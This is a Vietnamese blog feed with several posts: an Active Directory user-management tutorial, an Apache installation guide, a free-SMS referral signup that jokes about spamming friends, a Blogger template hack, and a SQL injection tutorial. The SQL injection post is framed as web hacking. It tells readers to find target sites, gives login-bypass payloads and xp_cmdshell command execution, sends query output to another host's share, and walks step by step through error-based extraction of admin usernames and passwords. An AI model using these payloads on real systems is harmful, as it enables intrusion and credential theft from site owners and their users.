Bây giờ kích chuột phải vào mục Users và chọn New. Khi đó bạn sẽ thấy được các menu con, từ menu con này có thể chọn nhiều kiểu đối tượng khác nhau mà bạn có thể tạo. Nói về kỹ thuật, Users chỉ là một mục và bạn có thể đưa vào rất nhiều kiểu đối tượng. Tuy vậy sẽ không tốt nếu bạn thực hiện lưu nhiều đối tượng khác hơn là các đối tượng người dùng trong mục Users. Với trường hợp bài này đưa ra, bạn chọn lệnh Users từ các menu con. Khi đó sẽ thấy một hộp thoại xuất hiện như trong hình B.

Hình B: Hộp thoại New Object – User cho phép tạo tài khoản người dùng mới

Như những gì thấy trong hình, Windows ban đầu chỉ yêu cầu nhập vào một số thông tin cơ bản về người dùng. Mặc dù cửa sổ này hỏi nhiều thứ khác như tên và họ, nhưng về mặt kỹ thuật thì nó không cần thiết lắm. Phần thông tin cần thiết mà bạn cần phải cung cấp đó là tên đăng nhập của người dùng. Mặc dù các trường khác chỉ là những lựa chọn tùy thích nhưng chúng tôi vẫn khuyên bạn nên điền đầy đủ thông tin vào các trường này.

Lý do nên điền đầy vào hết các trường này là vì tài khoản người dùng không hơn gì một đối tượng sẽ cứ trú bên trong Active Directory. Các thành phần như tên và họ là thuộc tính của đối tượng người dùng mà bạn đang tạo. Càng nhiều thông tin về thuộc tính thì các thông tin được lưu bên trong Active Directory sẽ càng trở lên hữu dụng. Xét cho cùng, Active Directory là một cơ sở dữ liệu mà bạn có thể truy vấn thông tin. Trong thực tế, nhiều ứng dụng làm việc bằng cách trích rút các thuộc tính khác nhau từ Active Directory. Khi đã điền đầy các trường này, kích nút Next, khi đó bạn sẽ thấy màn hình tiếp theo xuất hiện như trong hình C dưới đây.

Hình C: Cần phải gán mật khẩi cho tài khoản mới

Việc gán một mật khẩu là hoàn toàn đơn giản, tất cả những gì cần làm là đánh và nhập lại mật một mật khẩu. Mặc định, người dùng thường bị yêu cầu thay đổi mật khẩu cho lần đăng nhập kế tiếp. Tuy vậy, bạn có thể tránh trường hợp này bằng cách xóa hộp kiểm “User Must Change Password at Next Logon”. Cũng có nhiều hộp kiểm khác cho phép ngăn chặn người dùng thay đổi tất cả các mật khẩu của họ. Bạn có thể tùy chọn để thiết lập thời hạn vô hạn cho mật khẩu hoặc vô hiệu hóa toàn bộ tài khoản.

Có một điều cần phải lưu ý là màn hình để thiết lập mật khẩu ở trên không phải là tất cả. Khi bạn gán mật khẩu cho một tài khoản người dùng mới, mật khẩu này phải tuân theo chính sách bảo mật của công ty bạn. Nếu mật khẩu sử dụng không có các yêu cầu cần thiết đã được đưa ra bởi chính sách nhóm có thể áp dụng thì tài khoản người dùng này sẽ không được tạo.

Kích Next bạn sẽ thấy một màn hình hiển thị toàn bộ các tùy chọn mà bạn đã chọn. Xác nhận tất cả các thông tin đều đúng, khi đó chỉ cần kích Finish và một tài khoản người dùng mới sẽ được tạo.

Chỉnh sửa và bổ sung các thuộc tính của tài khoản

Như đã nói ở trên, chúng ta đã thấy được sự quan trọng trong việc điền các thuộc tính khác nhau khi tạo một tài khoản mới. Bạn có thể thấy nhiều màn hình liên quan đến việc tạo tài khoản mới không thực sự có nhiều thuộc tính. Tuy vậy, Active Directory còn gồm có hàng tá thuộc tính kèm theo có liên quan đến các tài khoản của người dùng này.

Có một số thuộc tính mà bạn có thể rất dễ sử dụng và có ích. Chúng tôi khuyến khích các thuộc tính đang cư trú mà có liên quan đến thông tin liên hệ cơ bản. Trong thực tế, một số công ty thường tạo các thư mục công ty dựa trên thông tin được lưu trong thuộc tính Active Directory này, nó vẫn là một ý tưởng tốt cho việc định cư thông tin tài khoản người dùng trong Active Directory. Ví dụ, với mục đích cần khởi động lại một máy chủ, trong khi đó một người dùng vẫn đăng nhập vào ứng dụng cư trú trên máy chủ. Nếu có các thông tin liên hệ của người dùng được lưu trong Active Directory thì bạn có thể tra cứu số điện thoại của người dùng một cách dễ dàng và gọi cho người dùng này yêu cầu họ đăng xuất.

Trước khi giới thiệu cho bạn cách đặt các thuộc tính của Active Directory, chúng tôi muốn nhấn mạnh rằng, kỹ thuật tương tự cũng có thể được sử dụng cho việc thay đổi các thuộc tính đang tồn tại. Ví dụ, nếu một nhân viên nữ đã kết hôn, cô ta có thể thay đổi họ của mình (theo truyền thống một số nước). Bạn có thể sử dụng các kỹ thuật mà chúng tôi sẽ giới thiệu sau đây để thay đổi nội dung thuộc tính cần thiết có liên quan.

Để truy cập vào các thuộc tính tài khoản người dùng khác nhau, đơn giản bạn chỉ cần kích chuột phải vào tài khoản người dùng được chọn, sau đó chọn Properties. Sau khi thực hiện như vậy, bạn sẽ gặp một màn hình như trong hình D.

Hình D: Trang thuộc tính của người dùng được sử dụng để lưu thuộc tính
và thông tin cấu hình cho tài khoản người dùng.

Như có thể thấy được trên hình, tab General có thể cho phép thay đổi tên hoặc tên hiển thị của người dùng. Bạn cũng có thể điền vào (hoặc thay đổi) một số trường khác như phần mô tả, văn phòng, điện thoại, email, hoặc website. Nếu quan tâm đến việc lưu trữ thêm các thông tin chi tiết hơn về người dùng thì bạn có thể duyệt qua các tab Address, Telephones, và Organization. Các tab này có tất cả các trường dành cho việc lưu trữ thông tin chi tiết hơn về người dùng.

Xác lập lại mật khẩu người dùng

Bạn có thể thấy trên hình D có rất nhiều tab khác nhau. Hầu hết các tab này đều liên quan đến bảo mật và cấu hình cho tài khoản người dùng. Một thành phần mà hầu hết các quản trị viên mới dường như đều phát hiện ra khi khám khá các tab này đó là không có tùy chọn cho việc thiết lập lại mật khẩu của người dùng.

Nếu cần phải thiết lập lại mật khẩu của người dùng thì bạn phải đóng cửa sổ này. Sau khi thực hiện điều đó, bạn kích chuột phải vào tài khoản người dùng và chọn lệnh Reset Password trong menu chuột phải.

Kết luận

Trong phần này, chúng tôi đã giới thiệu cho bạn các quá trình tạo một tài khoản người dùng, việc đặt các thuộc tính của Active Directory khác nhau có liên quan đến tài khoản đó, và việc thiết lập lại mật khẩu của tài khoản. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ tiếp tục giới thiệu về các khả năng khác của Active Directory Users và Computers console.

Văn Linh (Theo Windows Networking)

Kiến thức cơ bản về mạng: Phần 11 - Active Directory Users và Computers Console

noreply@blogger.com (DangLVH) — Sun, 21 Oct 2007 02:54:00 +0000

Trong các phần trước của loạt bài này chúng tôi đã giới thiệu cho các bạn về cách làm việc với AD. Trong phần này chúng tôi sẽ tiếp tục tất cả những gì cần phải thực hiện đối với một mạng.

Windows Server 2003 có một số công cụ khác được sử dụng cho việc quản lý AD. Công cụ quản lý AD này cho phép bạn sử dụng hầu hết các nhiệm vụ quản lý hàng ngày đó là Directory Users và Computers console. Như tên của nó, công cụ này được sử dụng để tạo, quản lý và xóa các tài khoản người dùng và máy tính.

Bạn có thể truy cập vào công cụ này bằng cách kích chuột vào nút Start của máy chủ và từ menu Start tìm đến All Programs / Administrative Tools. Tùy chọn Active Directory Users and Computers ở gần phía trên của menu Administrative Tools. Bạn cần phải nhớ rằng chỉ có các bộ điều khiển miền mới có tùy chọn này, vì vậy nếu không quan sát thấy lệnh Active Directory Users and Computers thì bạn phải đăng nhập vào bộ điều khiển miền.

Một thứ khác mà bạn phải chú ý đó là menu Administrative Tools gồm có một cặp công cụ AD khác: Active Directory Domains and Trusts và Active Directory Sites and Services. Chúng tôi sẽ giới thiệu các tiện ích này trong một số bài viết sau.

Khi mở mục Active Directory Users and Computers, bạn sẽ thấy xuất hiện một màn hình giống như hình A dưới đây. Bạn có thể xem lại từ các phần trước trong loạt bài này, AD có forest, forest này gồm có một hoặc nhiều miền. Mặc dù forest thể hiện toàn bộ AD nhưng bảng điều khiển Active Directory Users and Computers không cho phép làm việc với AD ở mức forest. Giao diện này chỉ là một công cụ mức miền. Thực tế, nếu nhìn vào hình A bạn sẽ thấy production.com được đánh dấu. Production.com là một miền trên mạng của chúng tôi. Tất cả các mục khác được liệt kê bên dưới đều là đối tượng của miền AD cho từng miền.

Hình A: Giao diện Active Directory Users and Computers cho phép quản lý các miền riêng lẻ

Bạn có thể thấy rằng production.com là một trong các miền trên mạng của chúng tôi và không có miền nào khác được liệt kê trong hình A. Điều đó là vì Active Directory Users and Computers chỉ liệt kê một miền tại một thời điểm để giữ cho giao diện trông gọn gàng. Miền được liệt kê trong giao diện tương ứng với bộ điều khiển miền mà bạn đã đăng nhập. Ví dụ, trong khi viết bài này, tôi đã đăng nhập vào một trong các bộ điều khiển miền đó là production.com, vì vậy Active Directory Users and Computers sẽ kết nối đến miền production.com.

Vấn đề ở đây là các miền đó thường bị phân tán về mặt địa lý. Ví dụ, trong công ty lớn phải có các miền khác nhau cho mỗi văn phòng của công ty. Nếu lúc này bạn đang ở Miami, Florida và miền khác của công ty hiện diện cho một văn phòng tại Las Vegas, Nevada thì nó sẽ không phải di chuyển một quãng đường lớn dọc toàn nước Mỹ mỗi khi bạn cần quản lý miền Las Vegas.

Mặc dù Active Directory Users and Computers mặc định hiển thị miền có liên quan đến bộ điều khiển miền mà bạn đã đăng nhập, nhưng vẫn có thể sử dụng giao diện này để hiển thị bất kỳ miền nào mà bạn có quyền thao tác với chúng. Tất cả những gì cần phải làm lúc này là kích chuột phải vào miền đang được hiển thị, sau đó chọn lệnh Connect to Domain từ menu chuột phải. Khi thực hiện như vậy sẽ có một màn hình được hiển thị, màn hình này cho phép đánh vào đó tên miền mà bạn muốn kết nối hoặc kích vào nút Browse và duyệt miền.

Khi một miền được đặt ở xa thì bạn có thể rất khó để đăng nhập trực tiếp vào bộ điều khiển miền. Ví dụ, tôi đã làm việc trong một số văn phòng, trong đó các bộ điều khiển miền được đặt trong các tòa nhà riêng biệt hoặc không có điều kiện thuận lợi cho tôi đăng nhập vào bộ điều khiển miền để thực hiện công việc bảo trì hàng ngày.

Tuy nhiên một tin tốt đó là không cần phải đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers mà chỉ cần đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers từ menu Administrative Tools. Bạn có thể truy cập giao diện này với tư cách máy chủ thành viên bằng cách nạp một cách thủ công nó vào Microsoft Management Console.

Để thực hiện điều đó, bạn nhập lệnh MMC vào cửa sổ lệnh RUN của máy chủ. Khi thực hiện xong máy chủ sẽ mở một Microsoft Management Console trống. Tiếp theo đó bạn chọn lệnh Add / Remove Snap-In từ menu File của giao diện điều khiển. Windows lúc này sẽ mở cửa sổ thuộc tính của Add / Remove Snap-In. Kích nút Add trên tab Standalone trong cửa sổ thuộc tính, bạn sẽ thấy một danh sách các snap-in có sẵn. Chọn tùy chọn Active Directory Users and Computers từ danh sách snap-in đó và kích Add, tiếp theo đó là Close và OK. Giao diện điều khiển lúc này sẽ được nạp.

Trong một số trường hợp load giao diện theo cách này có thể gây ra lỗi. Nếu bạn thấy xuất hiện lỗi và giao diện không cho phép quản lý miền sau khi kích chuột phải trên mục Active Directory Users and Computers và chọn lệnh Connect to Domain Controller từ menu chuột phải. Lúc này bạn có thể kết nối giao diện điều khiển đến một bộ điều khiển miền nào đó mà không cần đăng nhập vào bộ điều khiển miền đó. Bằng cách đó bạn sẽ có thể quản lý được miền giống như trong giao diện điều khiển của bộ điều khiển miền.

Kỹ thuật đó làm việc sẽ rất thú vị nếu bạn có một máy chủ , nhưng điều gì sẽ xảy ra nếu máy trạm làm việc của bạn đang sử dụng Windows Vista, và tất cả máy chủ đều nằm bên phía bên kia của tòa nhà.

Một trong những giải pháp đơn giản nhất để giải quyết vấn đề này đó là thiết lập một phiên RDP cho một trong những máy chủ. RDP là giao thức máy trạm từ xa (Remote Desktop Protocol). Giao thức này sẽ cho phép điều khiển từ xa các máy chủ trong tổ chức của bạn. Trong môi trường Windows Server 2003 bạn có thể kích hoạt một phiên từ xa bằng cách kích chuột phải vào My Computer và chọn lệnh Properties từ menu chuột phải. Khi đó bạn sẽ thấy đươc cửa sổ thuộc tính của hệ thống. Vào tab Remote và chọn hộp kiểm Enable Remote Desktop on this Computer (xem hình B).

Hình B: Cấu hình một máy chủ để hỗ trợ các kết nối máy trạm từ xa (Remote Desktop)

Để kết nối đến máy chủ từ máy Windows Vista, bạn chọn lệnh Remote Desktop Connection từ menu All Programs / Accessories. Khi thực hiện xong, bạn sẽ thấy màn hình xuất hiện như màn hình thể hiện dưới hình C. Lúc này hãy nhập vào tên máy chủ của bạn và kích nút Connect để thiết lập một phiên điều khiển xa.

Hình C: Có thể kết nối đến một máy chủ từ xa dễ dàng hơn bằng Windows Vista

Kết luận

Trong phần này chúng tôi đã giới thiệu cho bạn về Active Directory Users and Computers. Trong đó chúng tôi đã giải thích về cách sử dụng giao diện này để quản lý các miền từ xa. Trong phần 12 tới chúng tôi sẽ tiếp tục giới thiệu cho bạn về các khả năng khác của công cụ này. Mời các bạn đón đọc.

Văn Linh (Theo Windows Networking)

Hướng dẫn cài đặt webserver Apache

noreply@blogger.com (DangLVH) — Tue, 16 Oct 2007 03:41:00 +0000

Download file để cài đặt Apache từ website sau: http://httpd.apache.org/dist/httpd/binaries/win32

File được sử dụng để cài đặt Apache dưới đây là apache_2.0.35-win32-x86-no_ssl.msi

Bước 1: Nháy đúp chuột vào file đã được download ở trên để bắt đầu quá trình cài đặt, chúng ta sẽ quan sát thấy menu sau

Bước 2: Click chuột vào nút Next, trên màn hình sẽ xuất hiện menu sau:

Bước 3: Click chuột vào nút “I accept the terms …” và chọn Next, một màn hình khác với đầy đủ thông tin hơn về HTTP server xuất hiện.

Bước 4: Click chuột vào nút Next, trên màn hình xuất hiện menu sau:

Tại trường Network Domain gõ vào tên miền (ví dụ: ntthanh.dyndns.vn).

Tại trường Server Name gõ vào địa chỉ website (ví dụ: http://www.ntthanh.dyndns.vn/)

Tại trường Administrator’s Email Address gõ vào địa chỉ email của người quản trị web (ví dụ: thanh@vnnic.net.vn).

Bước 5: Click Next, trên màn hình xuất hiện menu sau:

Chọn cách cài đặt Apache, chẳng hạn chọn cách cài đặt Typical, chọn Next.

Bước 6: Chọn thư mục để cài đặt Apache. Theo mặc định thư mục đó là C:\Program Files\Apache Group\. Ta có thể thay đổi thư mục cài đặt bằng cách click chuột vào nút Change và trỏ tới thư mục mong muốn. Sau đó click chuột vào nút Next.

Bước 7: Để bắt đầu quá trình cài đặt click chuột vào nút Install.

Bước 8: Sau khi click chuột vào nút Install, quá trình cài đặt được bắt đầu.

Bước 10: Quá trình cài đặt kết thúc, trên màn hình xuất hiện menu “Installation Wizard Completed”, click Finish để kết thúc quá trình cài đặt.

Gửi Tin Nhắn SMS Miễn Phí

noreply@blogger.com (DangLVH) — Tue, 09 Oct 2007 17:11:00 +0000

Đây là dịch vụ gửi tin nhắn sms free. đã test, hiện đang sài thấy ngon quá share cho anh em!
thề là kô bị trừ tài khoản nào đâu
Đầu tiên mọi người vào http://www.romsms.com/?refid=WBA1nyst đăng ký nhé.
- Nhớ chọn language English bằng cách click vào cờ Anh bên tay phải góc trên nhé.
- Đăng kí tên, email, country (chọn Việt Nam nếu bạn ở VN ),..
- Đăng ký sdt của mình theo dạng : 849xxxxxxxx , chú ý là ko phải +849xxxxx VD : số điện thoại tớ là 0983xxxx thì đăng kí sẽ là 84983xxxx
- Sau khi đăng ký pass sẽ đc gửi về máy mình
- Login = pass đó rồi vào Change my details đổi pass cho dễ nhớ.

Lưu ý nè:
* Khi gửi tin nhớ chọn sender là sdt của mình, mặc định của họ là ROMSMS. Ng` nhận sẽ nhận dc từ chính sdt của mình, chỉ thêm 1 dòng nhỏ là romSMS.com
* Số điện thoại đăng nhập - số điện thoại gửi đi, đều phải có dạng 849xxxx. (84 là mã Việt Nam, 9xxx là số đt bỏ số 0 ở đầu) .
* Khi khởi tạo sẽ đc 5 tin miễn phí, mỗi ngày + 2 tin. Invite 1 người bạn đăng ký thành công qua YM hay mail dc + thêm 5 tin nữa.

hé hé. cứ phải nói là xì pam bạn bè thoả mái
Đây là tài khoản của mình

Cell phone: là số máy của mình
Credit là số tin nhắn mà mình được gửi miễn phí
Chúc mọi người vui vẻ

Chèn "Read More" hoặc "Đọc Thêm"

noreply@blogger.com (DangLVH) — Fri, 05 Oct 2007 03:35:00 +0000

Như bạn thấy mỗi bài đăng trên blog của tôi đều có phần “Read More...” và click vào phần này thì bài viết đầy đủ mới hiển thị ra. Nội dung phía trên tóm tắt bài viết. Sử dụng thủ thuật này giúp blog bạn chuyên nghiệp và trông giống một website hơn. Sau đây là 2 cách để các bạn làm điều đó:

Cách 1: Nếu bạn sài template NEO
Vì ở template NEO nó đã hổ trợ cho bạn sẵn tính năng này rồi, nên bạn chỉ việc sài nó thôi. Cách sài như sao:
Mõi lần bạn gửi bài, bạn hãy chép đoạn code sau đây vào khung edit bài viết.
Ở phần "Type Your Sumary Here" bạn đánh phần nội dung được hiển thị
"Type Rest of the post here" bạn đánh phần còn lại của nội dung được gửi.

Type your summary here Type rest of the post here

Sau đó bạn chỉ việc gửi đi, và bài viết của bạn sẽ hiển thị giống như bài viết này của mình, khi bấm vào read more nó sẽ hiển thị phần nội dung còn lại của entry và nếu bấm vào Collapse thì nội dung sẽ được tóm gọn lại.

Để cho dể dàng và đở mất công các bạn phải copy đoạn code đó mõi lần gửi bài. Các bạn có thể để mặc định trong khung edit entry của mình đoạn code đó. Có nghĩa là cứ mõi lần vào edit bài viết thì nó sẽ tự động gán đoạn code trên vào.
Thì bạn làm như sau:

Đầu tiên bạn vô bảng điều khiển của blog bạn >>> rồi vào Settings(cài đặt) >>> Tiếp đến vào Formatting(định dạng) >>> rồi bạn kéo xuống cuối trang, ở phần Post Template(Định Dạng Bài Gửi) >>>> Bạn copy đoạn code ở trên vào khung này >>> sau đó Save lại.

Thì kể từ bây giờ cứ mõi khi bạn vào mục edit entry thì đoạn code sẽ có sẵn ở đó cho bạn nhập nội dung vào.

Cách 2: Cách này dùng cho những template bình thường của d2vn( admin Thủ Thuật Blog) viết.
Nguồn bài viết: here

BƯỚC 1: SAO LƯU TEMPLATE VÀ CHÈN CSS

Sau khi đăng nhập vào blogger.com, click trên Template (Mẫu) -> Edit HTML (Chỉnh sửa HTML) thực hiện sao lưu template vào máy tính của bạn.

Sao lưu xong, kéo thanh trượt tìm tag (Có thể bấm Ctrl + F để tìm) và chèn vào phía trên nó đoạn mã dưới và lưu lại.

BƯỚC 2: CHÈN LIÊN KẾT “ĐỌC THÊM”

Tiếp tục hãy click Expand Widgets Template và kéo thanh trượt để tìm tag

<data:post.body/>

(Có thể bấm đồng thời Ctrl + F để tìm). Sau đó chèn đoạn mã này phía dưới nó.

<b:if cond="'data:blog.pageType"> <a href="'data:post.url'">Đọc thêm!</a> </b:if>

BƯỚC 3: TÙY BIẾN “ĐỌC THÊM”

Nếu bạn dùng đoạn mã trên, khi click vào “Đọc thêm!” bài đăng này sẽ được load về trình duyệt và thay thế trang trước đó. Bạn muốn bài đăng được mở ở một cửa sổ mới hãy chèn đoạn mã này.

<b:if cond="'data:blog.pageType"> <a href="'data:post.url'" target="'_blank'">Đọc thêm!</a> </b:if>

Trường hợp bạn muốn chữ “Đọc thêm” lớn hơn hay nhỏ hơn so với các chữ khác của bài hãy chèn đoạn mã dưới. Thay đổi phần trăm để được nhỏ hơn.

<b:if cond="'data:blog.pageType"> <a href="'data:post.url'" target="'_blank'">Đọc thêm!</a> </b:if>

Trường hợp bạn muốn chữ “Đọc thêm” in đậm hãy chèn đoạn mã dưới.

<b:if cond="'data:blog.pageType"> <a href="'data:post.url'" target="'_blank'">Đọc thêm!</a> </b:if>

Trường hợp bạn muốn chữ “Đọc thêm” có màu hãy chèn đoạn mã dưới (ví dụ ở đây là màu đỏ, bạn có thể lấy màu khác: Từ cửa sổ đăng bài Compose, gõ vài ký tự và chọn màu, click Edit Html để lấy mã, chữ có màu sẽ nằm giữa …).

<b:if cond="'data:blog.pageType"> <a href="'data:post.url'" target="'_blank'">Đọc thêm!</a> </b:if>

Bạn có thể sử dụng kết hợp cả ba.

BƯỚC 4: THAY ĐỔI CÁCH ĐĂNG BÀI

Ở cửa sổ đăng bài, thay vì chọn Compose, hãy chọn Edit Html và cấu trúc bài đăng của bạn như bên dưới.

Phần tóm tắt hay đầu bài đăng Phần còn lại

Xem hình:

Bài đăng phải nằm trong cấu trúc này. Nếu bạn cảm thấy khó nhớ đoạn code thì hãy vào Settings (Cài đặt) -> Formatting (Định dạng), kéo thanh trượt và tìm Post Template (Mẫu đăng bài), dán đoạn mã vào box kế bên và click Save Settings (Lưu cài đặt) để lưu lại. Mỗi lần đăng bài, đoạn mã này được chèn trước và bạn chỉ việc làm các thao tác để đăng bài.

Chúc thành công.

Free Templates For Bloggers

noreply@blogger.com (DangLVH) — Wed, 03 Oct 2007 03:04:00 +0000

Ratatouille

Download Template

Shrek the Third

» Download XML «

At World's End, Pirates of the Caribbean 3 template

» Download XML «

Colibri

» Download XML «

New Blogger Template 3 Column : Nyoba 780

Download Template

New Blogger Template 3 Column : Nyoba

Download Template

Harry Potter

Get Template

Jacksonville

Get Template

Source URL:
http://blogger-templates.blogspot.com/
http://www.ehsany.com/
http://www.finalsense.com/
http://blogspottemplates.blogspot.com/

Tìm hiểu về SQL Injection

noreply@blogger.com (DangLVH) — Tue, 02 Oct 2007 14:33:00 +0000

Mục lục:
1. SQL Injection là gì?
2. Tìm kiếm mục tiêu
3. Kiểm tra chỗ yếu của trang web
4. Tại sao ' or 1=1-- có thể bypass login?
5. Thi hành lệnh từ xa bằng SQL Injection
6. Nhận output của SQL query
7. Nhận data qua 'database using ODBC error message'
8. Xác định tên của các column trong table
9. Thu thập các dữ liệu quan trọng
10. Nhận các numeric string
11. Update/insert data vào CSDL
12. Ngăn chặn SQL Injection
13. Tài liệu thao khảo

1) SQL Injection là gì?
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2) Tìm kiếm mục tiêu
Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...
http://vịtcon/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.

3) Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://vịtcon/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp.

Nếu thành công, bạn có thể login vào mà không cần phải biết username và password

4) Tại sao ' or 1=1-- có thể bypass login?
Giả sử như có một trang asp link đến một asp trang khác với URL như sau:
http://vịtcon/index.asp?category=food
Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"
Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

5) Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy (;) sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6) Nhận output của SQL query
Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
folder "share" phải được share cho Everyone trước.

7) Nhận data qua 'database using ODBC error message'
Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Dòng query này sẽ trả về tên của table đầu tiên trong CSDL
Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Bạn cũng có thể search data bằng từ khóa LIKE:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

8) Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9) Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
